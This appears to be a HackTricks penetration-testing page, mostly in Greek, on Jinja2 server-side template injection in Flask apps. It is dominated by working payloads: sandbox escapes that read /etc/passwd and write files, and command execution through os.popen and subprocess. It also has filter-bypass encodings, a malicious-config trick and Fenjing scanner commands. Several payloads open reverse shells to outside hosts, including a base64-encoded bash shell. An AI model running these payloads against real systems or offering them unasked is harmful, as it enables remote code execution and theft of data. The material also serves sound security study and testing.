Jinja2 SSTI

Υποστήριξη HackTricks

Εργαστήριο

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Διάφορα

Δήλωση Εντοπισμού Σφαλμάτων

Εάν η Επέκταση Εντοπισμού Σφαλμάτων είναι ενεργοποιημένη, μια ετικέτα debug θα είναι διαθέσιμη για να εκτυπώσει το τρέχον πλαίσιο καθώς και τους διαθέσιμους φίλτρους και δοκιμές. Αυτό είναι χρήσιμο για να δείτε τι είναι διαθέσιμο προς χρήση στο πρότυπο χωρίς να ρυθμίσετε έναν εντοπιστή σφαλμάτων.

<pre>

{% debug %}







</pre>

Εκτύπωση όλων των μεταβλητών ρύθμισης

{{ config }} #In these object you can find all the configured env variables


{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}




Jinja Injection

Πρώτα απ' όλα, σε μια Jinja injection πρέπει να βρείτε έναν τρόπο να ξεφύγετε από το sandbox και να ανακτήσετε πρόσβαση στη κανονική ροή εκτέλεσης python. Για να το κάνετε αυτό, πρέπει να καταχραστείτε αντικείμενα που είναι από το μη sandboxed περιβάλλον αλλά είναι προσβάσιμα από το sandbox.

Accessing Global Objects

Για παράδειγμα, στον κώδικα render_template("hello.html", username=username, email=email) τα αντικείμενα username και email προέρχονται από το μη sandboxed python env και θα είναι προσβάσιμα μέσα στο sandboxed env. Επιπλέον, υπάρχουν άλλα αντικείμενα που θα είναι πάντα προσβάσιμα από το sandboxed env, αυτά είναι:

[]
''
()
dict
config
request

Ανάκτηση <class 'object'>

Τότε, από αυτά τα αντικείμενα πρέπει να φτάσουμε στην κλάση: <class 'object'> προκειμένου να προσπαθήσουμε να ανακτήσουμε τις καθορισμένες κλάσεις. Αυτό συμβαίνει επειδή από αυτό το αντικείμενο μπορούμε να καλέσουμε τη μέθοδο __subclasses__ και να πρόσβαση σε όλες τις κλάσεις από το μη sandboxed περιβάλλον python.

Για να αποκτήσετε πρόσβαση σε αυτή την κλάση αντικειμένου, πρέπει να πρόσβαση σε ένα αντικείμενο κλάσης και στη συνέχεια να αποκτήσετε πρόσβαση είτε σε __base__, __mro__()[-1] ή .mro()[-1]. Και μετά, μετά την επίτευξη αυτής της κλάσης αντικειμένου καλούμε __subclasses__().

Δείτε αυτά τα παραδείγματα:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}





# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

Αφού ανακτήσαμε <class 'object'> και καλέσαμε __subclasses__, μπορούμε τώρα να χρησιμοποιήσουμε αυτές τις κλάσεις για να διαβάσουμε και να γράψουμε αρχεία και να εκτελέσουμε κώδικα.

Η κλήση στο __subclasses__ μας έχει δώσει την ευκαιρία να έχουμε πρόσβαση σε εκατοντάδες νέες συναρτήσεις, θα είμαστε ευχαριστημένοι απλά με την πρόσβαση στην κλάση αρχείου για ανάγνωση/γραφή αρχείων ή οποιαδήποτε κλάση με πρόσβαση σε μια κλάση που επιτρέπει την εκτέλεση εντολών (όπως το os).

Διαβάστε/Γράψτε απομακρυσμένο αρχείο

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Για να μάθετε για περισσότερες κλάσεις που μπορείτε να χρησιμοποιήσετε για να ξεφύγετε, μπορείτε να ελέγξετε:

Bypass Python sandboxes

Παράκαμψη φίλτρων

Κοινές παρακάμψεις

Αυτές οι παρακάμψεις θα μας επιτρέψουν να πρόσβαση στα χαρακτηριστικά των αντικειμένων χωρίς να χρησιμοποιήσουμε κάποιους χαρακτήρες. Έχουμε ήδη δει μερικές από αυτές τις παρακάμψεις στα παραδείγματα του προηγούμενου, αλλά ας τις συνοψίσουμε εδώ:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}




Αποφυγή κωδικοποίησης HTML

Από προεπιλογή, το Flask κωδικοποιεί όλα τα μέσα σε ένα πρότυπο για λόγους ασφαλείας:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Ο φίλτρο safe μας επιτρέπει να εισάγουμε JavaScript και HTML στη σελίδα χωρίς να είναι κωδικοποιημένο σε HTML, όπως αυτό:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE με τη συγγραφή ενός κακόβουλου αρχείου ρυθμίσεων.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Χωρίς αρκετούς χαρακτήρες

Χωρίς {{ . [ ] }} _

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}




Jinja Injection χωρίς <class 'object'>

Από τα παγκόσμια αντικείμενα υπάρχει ένας άλλος τρόπος για να αποκτήσετε RCE χωρίς να χρησιμοποιήσετε αυτή την κλάση. Αν καταφέρετε να αποκτήσετε πρόσβαση σε οποιαδήποτε συνάρτηση από αυτά τα παγκόσμια αντικείμενα, θα μπορείτε να αποκτήσετε πρόσβαση στο __globals__.__builtins__ και από εκεί το RCE είναι πολύ απλό.

Μπορείτε να βρείτε συναρτήσεις από τα αντικείμενα request, config και οποιοδήποτε άλλο ενδιαφέρον παγκόσμιο αντικείμενο που έχετε πρόσβαση με:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Μόλις βρείτε μερικές συναρτήσεις, μπορείτε να ανακτήσετε τα builtins με:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}


## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing είναι ένα εργαλείο που είναι εξειδικευμένο σε CTFs αλλά μπορεί επίσης να είναι χρήσιμο για brute force μη έγκυρων παραμέτρων σε ένα πραγματικό σενάριο. Το εργαλείο απλώς ψεκάζει λέξεις και ερωτήματα για να ανιχνεύσει φίλτρα, αναζητώντας παρακάμψεις, και παρέχει επίσης μια διαδραστική κονσόλα.

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

Αναφορές

Υποστήριξη HackTricks

Last updated